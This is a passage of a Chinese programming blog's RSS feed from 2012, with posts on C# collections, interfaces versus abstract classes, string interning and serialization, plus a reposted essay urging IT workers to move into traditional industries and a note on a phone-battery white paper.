&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Array和ArrayList均实现了相同的接口，因此具有许多相同的操作方法，例如对自身进行枚举，能够以foreach语句遍历。
Array和ArrayList创建的对象均保存在托管堆中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Array只能存储同构对象，当然，声明为Object类型的数组除外，因为任何类型都可以隐式转换成Object类型。ArrayList可以存储异构对象，这是因为本质上ArrayList内部维护着一个object[] items类型的字段，在应用ArrayList时，应该考虑装箱和拆箱所带来的性能损失。一般情况下，Array的性能高于ArrayList。&lt;/li&gt;
&lt;li&gt;Array可以是一维的，也可以是多维的，而ArrayList只能是一维的。&lt;/li&gt;
&lt;li&gt;Array的容量是固定的。一旦声明，不可更改，而ArrayList容量动态增加，当添加元素超过初始容量时，ArrayList会根据需要重新分配。而且可以通过TrimToSize删除空项来压缩体积。其实，除了Array外，其他集合类都是可以动态增加的。&lt;/li&gt;
&lt;li&gt;Array的下限可以设置，而ArrayList下限只能是0.&lt;/li&gt;
&lt;li&gt;Array只有简单的方法来获取或设置元素值，不能随意增加或删除数组元素，而ArrayList提供了更多的方法来操作元素，可以方便的插入或删除指定位置上的元素。一般可以用ArrayList代替Array.
tip：List泛型类对应于ArrayList。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C#中的抽象类和接口</title>
      <link>http://blog.leaver.me/2012/07/10/c%23%E4%B8%AD%E7%9A%84%E6%8A%BD%E8%B1%A1%E7%B1%BB%E5%92%8C%E6%8E%A5%E5%8F%A3/</link>
      <pubDate>Tue, 10 Jul 2012 20:25:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/10/c%23%E4%B8%AD%E7%9A%84%E6%8A%BD%E8%B1%A1%E7%B1%BB%E5%92%8C%E6%8E%A5%E5%8F%A3/</guid>
      <description>&lt;p&gt;本文同样是笔记整理，手动输入一遍和看书的感觉还是很不一样的。文章非常好，讲的很清楚。&lt;/p&gt;
&lt;h3 id=&#34;什么是接口&#34;&gt;什么是接口？&lt;/h3&gt;
&lt;p&gt;　　　接口是包含一组虚方法的抽象类型，其中每一种方法都有其名称、参数和返回值。接口方法不能包含任何实现，CLR允许接口可以包含事件、属性、索引器、静态方法、静态字段、静态构造函数以及常数。但是注意：&lt;strong&gt;C#中不能包含任何静态成员&lt;/strong&gt;。一个类可以实现多个接口，当一个类继承某个接口时，它不仅要实现该接口定义的所有方法，还要实现该接口从其他接口中继承的&lt;strong&gt;所有&lt;/strong&gt;方法。&lt;/p&gt;
&lt;h3 id=&#34;什么是抽象类&#34;&gt;什么是抽象类？&lt;/h3&gt;
&lt;p&gt;　　　抽象类提供多个派生类共享基类的公共定义，它既可以提供抽象方法，也可以提供非抽象方法。抽象类不能实例化，必须通过继承由派生类实现其抽象方法，因此对抽象类不能使用new关键字，也不能被密封。如果派生类没有实现所有的抽象方法，则该派生类也必须声明为抽象类。另外，实现抽象方法由override方法来实现。&lt;/p&gt;
&lt;h3 id=&#34;比较&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;都不能被直接实例化，都可以通过继承实现其抽象方法。&lt;/li&gt;
&lt;li&gt;都是面向抽象编程的技术基础，实现了诸多的设计模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;接口&lt;strong&gt;支持&lt;/strong&gt;多继承；抽象类不能实现多继承。&lt;/li&gt;
&lt;li&gt;接口只能定义抽象规则；抽象类既可以定义规则，还可能提供已实现的成员。&lt;/li&gt;
&lt;li&gt;接口是一组行为规范；抽象类是一个不完全的类，着重族的概念。&lt;/li&gt;
&lt;li&gt;接口可以用于支持回调；抽象类不能实现回调，因为继承不支持。&lt;/li&gt;
&lt;li&gt;接口只包含方法、属性、索引器、事件的签名，但不能定义字段和包含实现的方法；抽象类可以定义字段、属性、包含有实现的方法。&lt;/li&gt;
&lt;li&gt;接口可以作用于值类型和引用类型；抽象类只能作用于引用类型。例如，Struct就可以继承接口，而不能继承类。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;规则与场合&#34;&gt;规则与场合&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;请记住，面向对象思想的一个最重要的原则就是：&lt;strong&gt;面向接口编程&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;借助接口和抽象类，23个设计模式中的很多思想被巧妙的实现了，精髓就是面向抽象编程，通过封装变化来实现实体之间的关系。&lt;/li&gt;
&lt;li&gt;抽象类应主要用于关系密切的对象，而接口最适合为不相关的类提供通用功能。&lt;/li&gt;
&lt;li&gt;接口着重于CAN-DO关系类型，而抽象类则偏重于IS-A式的关系；&lt;/li&gt;
&lt;li&gt;接口多定义对象的行为；抽象类多定义对象的属性；&lt;/li&gt;
&lt;li&gt;接口定义可以使用public、protected、internal 和private修饰符，但是几乎所有的接口都定义为public，另外方法的访问级别不能低于接口的访问级别，否则可能导致编译错误。&lt;/li&gt;
&lt;li&gt;“接口不变”，是应该考虑的重要因素。所以，在由接口增加扩展时，应该增加新的接口，而不能更改现有接口。&lt;/li&gt;
&lt;li&gt;尽量将接口设计成功能单一的功能块，以.NET Framework为例，IDisposable、IDisposable、IComparable、IEquatable、IEnumerable等都只包含一个公共方法。&lt;/li&gt;
&lt;li&gt;接口名称前面的大写字母“I”是一个约定，正如字段名以下划线开头一样，请坚持这些原则。&lt;/li&gt;
&lt;li&gt;在接口中，所有的方法都默认为public。&lt;/li&gt;
&lt;li&gt;如果预计会出现版本问题，可以创建“抽象类”。而向接口中添加新成员则会强制要求修改所有派生类，并重新编译，所以版本式的问题最好以抽象类来实现。&lt;/li&gt;
&lt;li&gt;从抽象类派生的非抽象类必须包括继承的所有抽象方法和抽象访问器的实实现。&lt;/li&gt;
&lt;li&gt;对抽象类不能使用new关键字，也不能被密封，原因是抽象类不能被实例化。&lt;/li&gt;
&lt;li&gt;在抽象方法声明中不能使用 static 或 virtual 修饰符。
最后还是要勤于键盘，才能深入理解啊。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://www.cnblogs.com/anytao/archive/2007/04/12/must_net_02.html&#34;&gt;对抽象编程：接口和抽象类&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的字符串驻留</title>
      <link>http://blog.leaver.me/2012/07/08/c%23%E4%B8%AD%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%A9%BB%E7%95%99/</link>
      <pubDate>Sun, 08 Jul 2012 20:57:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/08/c%23%E4%B8%AD%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%A9%BB%E7%95%99/</guid>
      <description>&lt;p&gt;字符串string可以理解为char[]，他是一个引用类型。&lt;/p&gt;
&lt;h3 id=&#34;字符串创建&#34;&gt;字符串创建&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;操作上类似于int，char等类型，直接进行赋值，string str=&amp;ldquo;bystander&amp;rdquo;;虽然string 是个类，但是如果你天真的使用&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string str=new string(&#34;bystander&#34;);&lt;/pre&gt;
&lt;p&gt;来构造，会导致一个编译错误。因为System.String只提供了数个接受Char*，Char[]类型参数的构造函数。
所以只能像下面这样使用，&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;Char[] cs={&#39;b&#39;,&#39;y&#39;,&#39;e&#39;};
String str=new String(cs);&lt;/pre&gt;
&lt;p&gt;看出来了吧，很麻烦的。所以一般还是使用第一种。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;字符串恒定性&#34;&gt;字符串恒定性&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;恒定性(Immutability)，是指字符串一经创建，就不可改变，这是String最为重要的特性之一。具体来说，就是字符串一旦创建，就会在托管堆上分配一块连续的内存空间，我们对其的任何改变都不会影响到原有的String对象，而是重新创建的新的String对象。类似Insert，Substring，ToUpper都只是创建出了新的临时的字符串，会成为下次垃圾回收的目标。
好处：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保证了对String对象的任何操作不会改变源字符串。&lt;/li&gt;
&lt;li&gt;恒定性还意味着操作字符串不会出现线程同步问题&lt;/li&gt;
&lt;li&gt;恒定性一定程度上，成就了字符串驻留。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;字符串驻留&#34;&gt;字符串驻留&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;CLR维护一个表来存放字符串，该表叫做拘留表（或驻留池），他包含程序上以编程方式声明或创建的每一个唯一的字符串的引用，因此具有特定值的实例在系统中只有一个。如果将同一个字符串分配给多个变量，那么CLR就会向拘留池检索相同引用，并分配给变量。&lt;/p&gt;
&lt;p&gt;通过下面这个例子来说明：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;class StringInterning
{
     public static void Main()
        { 
            string strA = &#34;bystander&#34;;
            string strB = &#34;bystander&#34;;
            Console.WriteLine(ReferenceEquals(strA,strB));
            string strC = &#34;by&#34;;
            string strD = strC+&#34;stander&#34;;
            Console.WriteLine(ReferenceEquals(strA,strD));
            strD=String.Intern(strD);
            Console.WriteLine(ReferenceEquals(strA,strD));
        }
}&lt;/pre&gt;
&lt;p&gt;猜猜答案是什么。。
正确答案是：True，False，True
为什么不是我们通常认为的那样呢。这就是因为字符串驻留了&lt;/p&gt;
&lt;h3 id=&#34;缘起&#34;&gt;缘起&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;String类型的特性恒定性，对字符串的任何操作都只会创建新的字符串，这会导致性能下降，而String又用的很频繁，为此，CLR使用字符串驻留来解决这一问题。为此，CLR内部维护一个哈希表，来管理其创建的大部分string对象。其中Key为string本身，Value为分配给对应的string的内存地址。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;细节&#34;&gt;细节&lt;/h3&gt;
&lt;blockquote&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string strA = &#34;bystander&#34;;&lt;/pre&gt;
&lt;p&gt;　　CLR初始化时，创建一个空的哈希表，当JIT编译方法的时候，会首先在哈希表中查找每一个字符串常量，显然找不到任何&amp;quot;bystander&amp;quot;变量，因此会在托管堆中创建一个新的string对系那个strA，并更新哈希表，Key被赋值为&amp;quot;bystander&amp;quot;,Value被赋值为strA的引用.也就是Value内保留了&amp;quot;bystander&amp;quot;在托管堆中的引用地址.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string strB = &#34;bystander&#34;;&lt;/pre&gt;
&lt;p&gt;　　接着,JIT根据&amp;quot;bystander&amp;quot;查找哈希表,结果找到了,所以JIT不做操作,只把找到的key对应的Value值赋给了strB对象.因此,第一个输出为true,引用相等.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt; string strC = &#34;by&#34;;
 string strD = strC+&#34;stander&#34;;&lt;/pre&gt;
&lt;p&gt;　　同样,JIT向哈希表中添加了Key为&amp;quot;by&amp;quot;,Value为托管堆上&amp;quot;by&amp;quot;的地址.返回strC对象.但是注意,strD不同,JIT不检测,因为strD他是动态生成的.这样的字符串不会被添加到哈希表中进行维护,而是在托管堆中直接分配,所以第二个Console输出False.&lt;/p&gt;
&lt;p&gt;　　对于第三个,我们首先看看Intern方法和IsInterned方法,对于动态生成的字符串,因为没有添加到CLR维护的哈希表,所以字符串驻留机制对其失效,但是可以手工开启,来实现高效的比较字符串相等.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;public static string Intern(string str)
public static string IsInterned(string str)&lt;/pre&gt;
&lt;p&gt;　　两者的机制都是去哈希表中查找是否存在str字符串,找到的话也都返回对str的引用,不同的是当哈希表中没有str的话,IsInterned返回null,而Intern将把这个字符串添加到哈希表,并返回引用.注意,IsInterned返回非null并不代表两个字符串引用了相同的地址.
所以&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;strD=String.Intern(strD);
Console.WriteLine(ReferenceEquals(strA,strD));&lt;/pre&gt;
&lt;p&gt;就很好理解了.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>降级论</title>
      <link>http://blog.leaver.me/2012/07/07/%E9%99%8D%E7%BA%A7%E8%AE%BA/</link>
      <pubDate>Sat, 07 Jul 2012 22:37:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/07/%E9%99%8D%E7%BA%A7%E8%AE%BA/</guid>
      <description>&lt;p&gt;　　相当精彩的一篇文章『&lt;a href=&#34;http://meditic.com/degrading-for-success/&#34;&gt;降级论&lt;/a&gt;』，收藏分享。精彩的部分突出显示了。&lt;/p&gt;
&lt;p&gt;　　几乎一年没有写博客了，说没时间那是借口，唯一的原因是，年纪越大越发觉自己肤浅。有些想法还没提笔，就发现很幼稚，就不敢发出来贻笑大方了。这次先给大家说个小故事：&lt;/p&gt;
&lt;p&gt;　　从前有三个屌丝，聚在一起做网络，提供免费的网络服务，砸锅卖铁，通宵达旦，除了卖肾啥都做了。3年后终于做到了五百万用户，对于年轻人来说，能把五百万人玩弄于鼓掌之间，已经是很牛逼轰轰的事了，不过用户越多，成本越高，每年服务器、带宽租金、房租水电、广告运营等成本，已经达到了十七八万，屌丝们不得不面对一个终极问题：如何盈利？&lt;/p&gt;
&lt;p&gt;　　屌丝们定了三盘沙县水饺，围着一箱子的冰啤酒开始计算：按照最近一月的登陆情况来看，四百万个账号已经不活跃了，真正有商业价值的只有一百万人，如 果开通xx功能，收点高级会员费，让其中1%的人升级为高级会员，每年付30块钱年费，那么每年收入就是100万x1%x30元=30万元！不错嘛， 扣除十七八万的运营成本，还剩毛利润12万，每个屌丝年底能分到4万大洋，如果按照打工者的算法，这三个人每人月薪3333元，木有奖金，木有津贴、木有任何福利，上班还得带自家的电脑。&lt;/p&gt;
&lt;p&gt;　　尽管如此，屌丝们还是激动得热泪盈眶：老子有钱啦！老子有钱啦！！！那一夜，人们看到三个发疯的屌丝在屋顶翩翩起舞。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;韩寒说，中国人民是最有忍耐力的族群，一点好处就感激涕零。他一定不知道，IT创业界里的屌丝，才是这群傻逼中的战斗机。他们可以平静地忍受每年都持续亏钱，而且还能信心十足的对所有人说公司的状态非常好，如果有一天居然收支平衡了，他们会激动的趁夜难眠，比北朝鲜倒掉还开心。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　本文开头的三个屌丝，其实是非常幸运的，至少能做到月薪3333元。大部分的屌丝在第一年做到几万用户的时候就会挂掉，原因众多，最主要要的是意志太弱，受不了最初的寂寞；意志稍微坚强点的会在第二年第三年慢慢挂掉，原因主要是资金断裂、团队分裂；能成功熬到第四年还没饿死、还没被口水淹死、还没被肠胃病颈椎病腰肌劳损折磨死的，甚至员工不减反增的，基本上属于神仙级别了。&lt;/p&gt;
&lt;p&gt;　　我为什么要说三个屌丝的故事呢。首先是因为这是身边每天都在发生的故事，其次是因为感到可惜，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;IT界在我眼里一直是一个无比高级的职业，聚集着全球最聪明、最富有的人类精英。以IT创业界的青年们的智商，他们可以做成任何一件事情，包括改造银行到制造汽车到发射航天飞机 。结果这帮人却整天在蓬头垢面得为3k的月薪而挣扎，太悲催了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　为什么用悲催这个词？ 如果一个人生下来就在山沟沟里，一辈子都没机会去见什么好东西，这不叫悲催，这只叫苦难；&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;而如果一个人生出来有一个奇怪的特异功能：皮肤出来的汗水会凝结成昂贵的水晶，本来只靠出汗就能赚钱，结果这傻逼居然觉得出汗这个行为太低级，做手术把自己的汗腺全给切了，而且丝毫没有意识到他做了什么傻事，这才叫真的悲催。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　我们IT界中的很多人，生下来就是有这个出汗成水晶的特异功能的，正是因为这种与众不同，这群人能混入牛逼的大学，整天打网游还能写出像样的毕业论文， 拿到学位，进外企，考CPA，做咨询、做证券分析，研究高分子材料，做电子商务，做云计算。。。一级一级的上升，直到有一天，发现身边的人里，已经没有一个不是CPA，不是咨询师，不是高级研究员了，身边的人全是业界精英，个个都超级强悍。在这个所谓的高级圈子里，自己并没有任何过人之处，只不过是just another analyst而已。在高级圈子里拼的头破血流，最后也只能混到给台湾人整理数据而已。莫然回首，发现当年的血气方刚、年少时的无限梦想，进化成了一身肥胖的赘肉。这个时候，有个旁观者说：“升级到头了，该降级了”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当一个社会疯狂鼓吹快节奏的时候，一定需要有人来宣扬慢生活；当全社会跟打了鸡血似的吹捧升级的时候，一定需要有人来说说降级论。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　IT青年们喜欢打游戏，喜欢升级。他们的人生也和游戏一样，沉醉于不停的升级中，不仅喜欢升级自己手上的技术，把MySql改成MongoDB，把Apache升级为Nginx，在Mac上装Ubuntu，Ubuntu里再装个虚拟机去跑Mac OS。。。IT青年们也喜欢升级自己的人生，从程序员升级到项目经理，再升级到技术总监或产品总监，再升级到合伙人。。。&lt;/p&gt;
&lt;p&gt;　　在不断追求升级的过程中，所面临的一个很大事实是：当一个人从A刚升级到A+级的时候，其实这个人的能力层级依然只是A的层级，还未胜任A+的层级，他必须要到A+的后期，才可以胜任A+。就好像一个高中生，高考完之后，虽然理论上已经属于大学生了，但是他的实际能力依然只是高三毕业的水平，除非他全部pass了大一的期末考试。同样的道理，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个世界上有很多人的身份和称谓，都是在描述“未来的自己”，而不是现在的自己。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当你从销售员升级为销售经理的时候，你自我感觉很好：“我现在是销售经理了”，但是这个时候 ，你并未通过公司对你作为销售经理这一年的工作成果的考核，你只是一个“未来可能是合格的销售经理”的前身。如果年终考核你失败了，那么这一年最准确的描述是：一个销售员，占了整整一年销售经理的位子，最后失败了。而且这一年一定会过的很累，因为通过考核的其他销售经理，才是真正胜任这个层级的人，跟一帮真正属于这个圈子的人厮杀，就好像拳击馆里当陪练的小角色，去和泰森比了一年的武，怎么可能不累呢？&lt;/p&gt;
&lt;p&gt;　　当我07年进入互联网行业的时候，就是那个拳击馆里陪练的小角色，我被迫去跟全国各地的泰森比拼，结果累的半死。后来我开始反思最初的目标，为什么要在自己身上挂一个“拳击高手”的招牌，被那么多泰森追着打？ 我把这块招牌卸了，找个完全没练武的人去比拼，不是更容易赢么？于是果断照做，去找了一个没人懂拳击的小乡村，做了纯英文的Tucia.com(需翻墙)，只做国外的业务。在那个地方，作为一个知名武馆的拳击小陪练，我成了村子里拳击技术最高超的人，受人仰慕，还开武馆教人拳击，活的非常滋润，而且在教人拳击的过程中，自己的拳术也比以前提高了很多，发展出一套属于自己的拳法，我虽然进不了泰森们的大圈子，但他们也进不了我的小圈子。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关于圈子，有一个很赤裸裸的现实：不会是你进入圈子，只能是圈子进入你。很多人会四处找关系，“帮我介绍给xxx吧，我想进入你们的圈子”，这样的人是永远进不去这个圈子的，因为圈子的天性是，永远追求更高一个层级的人。而我们的大部分人，其实都在以低一级的属性，占着更高一级的位子，徘徊在更高一级的圈子边缘，与更高一级的人竞争，幻想着自己可以升级到那个圈子里去。也许永远进不去，悲催的努力一辈子；也许运气好，某一天真的进入这个圈子了，但那个时候又会有下一个目标，希望进入更高级的圈子，这是一场没有终点的战斗。永远的追求升级，永远的累。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　有没有想过降级呢？&lt;/p&gt;
&lt;p&gt;　　如果一个来自微软的高级工程师，辞职去一个养猪场做开放平台经理，那么他的到来不仅会让养猪圈感到无比荣幸，更是意味着，利用他在IT界训练出来的高效工作方式和逻辑思维能力，他可以掀起一场养猪行业的革命，使得20年后才会出现的人性、高效、开放、协作、健康的养殖方式提前到达。在这场革命中，他会活的非常有价值。这种价值，在原先的圈子里，是完全体验不到的，因为他此前的所有工作，只是在满身疮痍的windows系统上不停的打补丁，无论打多少都逃不开产品衰落、被人鄙视的命运。&lt;/p&gt;
&lt;p&gt;　　很多人的命运，都像是上面那个微软工程师。只需要降级，就能创造更大的价值，也能获得更大的满足。那为什么不呢？为什么要死死抱着那个所谓的“高级职业”不放呢？&lt;/p&gt;
&lt;p&gt;　　去年我曾犯贱去趟了移动互联网的浑水，做了个手机app，刚开始的时候感觉很高级，但很快，铺天盖地的竞争对手就出现了，我又发现自己陷入了07年一样的场景：作为一个小小陪练，我他妈的又被一帮泰森们给围住了。当泰森中的战斗机&amp;mdash;微信，变得无比牛逼之后，我就知道，战胜这群泰森是绝对不可能的事情了。于是我再次投靠了“降级论”，把自己从牛逼哄哄的移动互联网行业，降级到了一个被人不齿的低级项目：Tucia Baby。&lt;/p&gt;
&lt;p&gt;　　这个项目虽然是传统行业，但是我们基本上是按照互联网产品的思路去做的，除了拍摄需要来店里以外，其他一切，包括营销、预约、客服、后期、选片、取片、客户关系等，所有环节都放在网络上，尤其是微博（@tuciababy官网）。当然，最重要的是，作为一个脑残的果粉，我按照iPhone的做工和品质去要求每一张作品，必须达到我们能力可以做到的最好水准，不计成本的最好水准，才允许送给客户。正式接客不到两个月时间，虽然还远未达到成功，但目前已做到每天都有客户订单，财务上已实现盈利，未来相信一定会比大部分app开发者更光明。（ps:我们没有请工商、税务、城管去吃饭喝酒泡桑拿，也没有塞钱给任何政府机关。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当你的产品真的用心做到很好的时候，其实你不需要讨好任何人的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;）&lt;/p&gt;
&lt;p&gt;　　这个项目让我沉思了很久：07年我曾把一个纯纯的web2.0网站做到了alexa中国区前1000名（如有质疑，请查询2010年附近的tucia.com排名），结果一路亏损，到最后只剩下一个员工；11年我把那个纯纯的app做到苹果官方推荐区免费榜的第一位（点此看截图），那段时间每天四五千iPhone安装量，结果一路烧钱，到最后濒临关闭；而如今，我只需把自己从纯纯的互联网降级下来，做一些看起来有些“低级”的项目，居然就能立即实现收支平衡。&lt;/p&gt;
&lt;p&gt;　　除此以外，我还发现一个现象，&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;中国消费者在与奸商们的长期斗争中，已经培养出了一种非常苦B的品质：只要不被坑，他就谢天谢地。如果商家严格做到了承诺的每一件事情，客户就会感动的泪如泉涌。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果商家不仅做到了所有承诺的事情，还很贴心的提供了一些额外的服务（比如我们给每位客户赠送非常好吃的樱桃和昂贵的进口巧克力作为甜点），那么客户就会激动的哭天喊地、奔走相告，推荐给他认识的每一个人。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实这片肮脏的国土，就是上天赐予IT青年们的最好机会。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　在一个不会练武的村子里，只要你会打两拳，你就是拳术最厉害的人；在一个没有服务意识、忽视产品质量的土地上，只要你用心做服务，用最高的标准去要求自己，你就会成为这块土地上最出色的商家；在一个没有现代管理意识，不懂网络、不懂微博、不懂用户体验、不懂口碑传播的粗犷社会里，你只需要把之前花在IT产品上的心思的10%拿过来用，就可以秒杀一切天朝对手。&lt;/p&gt;
&lt;p&gt;　　所以，&lt;/p&gt;
&lt;p&gt;　　IT青年们，当你在为网站的转化率苦苦思索的时候，当你在为app的活跃度辗转反侧的时候，当你在为融资计划苦苦哀求各界大佬引荐的时候，也许犯了一个错误，也许你们的脑子最值得闪光的地方，不是去悲催的IT界当炮灰，而应该是去按摩界、餐饮界、烧烤界、早餐界、理发界、家政界、按摩界、送花界、纺织界、成人用品界、现代化养殖界、有机蔬果界、个人护理界、汽车修理界。。。。与IT界相比，这些行业的确无比低级，他们的老板连qq都会发音成“抠抠”，他们的员工一辈子都没用过Email；跟他们解释什么是SEO，什么是用户体验，什么是数据挖掘，他们会在听你说完之前就开枪自杀掉。正是因为如此，这些行业才是如此的不堪一击。正是因为如此，当智商高达147的IT青年还在为3k薪水拼命、而智商不到50的烧烤店老板正坐在porsche里玩着前面那位青年开发的app的时候，我就忍不住仰望星空。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这些原始而纯粹的行业，正在等待IT精英们的降级，如同蒲公英一般的伞兵，在黑夜里从天而降，长驱直入，用最智慧的产品、最优质的服务拯救这些早就该死的行业，屌丝的生命将会绽放出银色的羽翼，无比丰满，无比性感。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　最后注意，请珍惜生命，远离我的微博：@meditic&lt;/p&gt;</description>
    </item>
    <item>
      <title>移动设备电池白皮书</title>
      <link>http://blog.leaver.me/2012/07/07/%E7%A7%BB%E5%8A%A8%E8%AE%BE%E5%A4%87%E7%94%B5%E6%B1%A0%E7%99%BD%E7%9A%AE%E4%B9%A6/</link>
      <pubDate>Sat, 07 Jul 2012 18:47:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/07/%E7%A7%BB%E5%8A%A8%E8%AE%BE%E5%A4%87%E7%94%B5%E6%B1%A0%E7%99%BD%E7%9A%AE%E4%B9%A6/</guid>
      <description>&lt;p&gt;资源来自：&lt;a href=&#34;http://www.ijinshan.com/dcys/baipishu/&#34;&gt;金山网络&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　　我比较认真的读完了这本小册子，确实收获还是蛮大的。前几天有个朋友问我电池的事情，我以前看过电池的一些保养的。当时就知道锂电池是首次使用是不需要进行12小时充电的。。看到这本小册子的时候，证实了我没乱讲哈。。&lt;/p&gt;
&lt;p&gt;　　　然后里面还说道一个就是很多人不相信软件能够保养电池。其实真的是可以的。。理由不赘述。你可以自己读一读。。我自己感觉对普通用户很有用的是30页的那一节。讲到的问题有；&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;电池管理类软件对电池寿命没用？&lt;/li&gt;
&lt;li&gt;充电习惯对电池寿命没有用？&lt;/li&gt;
&lt;li&gt;一块电池都只够安卓撑一天？&lt;/li&gt;
&lt;li&gt;提示电池充满就可以马上拔掉电源 ？&lt;/li&gt;
&lt;li&gt;不管怎么用待机时间都一样？&lt;/li&gt;
&lt;li&gt;手机还有一半电量的时候不必担心？&lt;/li&gt;
&lt;li&gt;新电池前3次需充满12小时？&lt;/li&gt;
&lt;li&gt;涓流充电有用吗？&lt;/li&gt;
&lt;li&gt;手机电池充一夜也没什么危害？&lt;/li&gt;
&lt;li&gt;边充电边使用对电池无伤害？&lt;/li&gt;
&lt;li&gt;突然断电再立刻充上会伤害电池吗？&lt;/li&gt;
&lt;li&gt;充电不饱和会伤害电池吗？&lt;/li&gt;
&lt;li&gt;iPhone和iPad的充电器可以混用吗？&lt;/li&gt;
&lt;li&gt;经常把电用光再充对电池好不好？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;书籍下载：[移动设备电池使用白皮书](&lt;a href=&#34;http://115.com/file/ancame68#&#34;&gt;http://115.com/file/ancame68#&lt;/a&gt; 移动设备电池白皮书.pdf)&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中XML和二进制的序列化</title>
      <link>http://blog.leaver.me/2012/07/07/c%23%E4%B8%ADxml%E5%92%8C%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96/</link>
      <pubDate>Sat, 07 Jul 2012 18:30:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/07/c%23%E4%B8%ADxml%E5%92%8C%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96/</guid>
      <description>&lt;p&gt;看书的时候，看到的。然后感觉书上的写的不清楚，于是自己写了一下。还真的有问题。
要进行序列化和反序列化，首先要定义一个可以序列化的类，方法是在类的声明前加上特性
[Serializable]
定义了一个简单的用户类，需要注意的是私有字段是不能序列化的，只有公有字段和公有属性才可以。如下&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;[Serializable]  //特性，可以序列化
    public class UserData
    {
        public string Name;
        public int Age;
        private string sex;
        public string Sex
        {
            set{sex=value;}
            get{return sex;}
        }
        public UserData() 
        { 
        }
        public UserData(string name, int age, string sex)
        {
            Name = name;
            Age = age;
            Sex = sex;
        }
    }&lt;/pre&gt; 
&lt;p&gt;注意，书上有个例子没有给出默认的构造函数，实际测试时如果没有默认构造函数，是不能执行xml序列化的。注意。&lt;/p&gt;
&lt;p&gt;然后就导入需要的命名空间。
需要导入&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
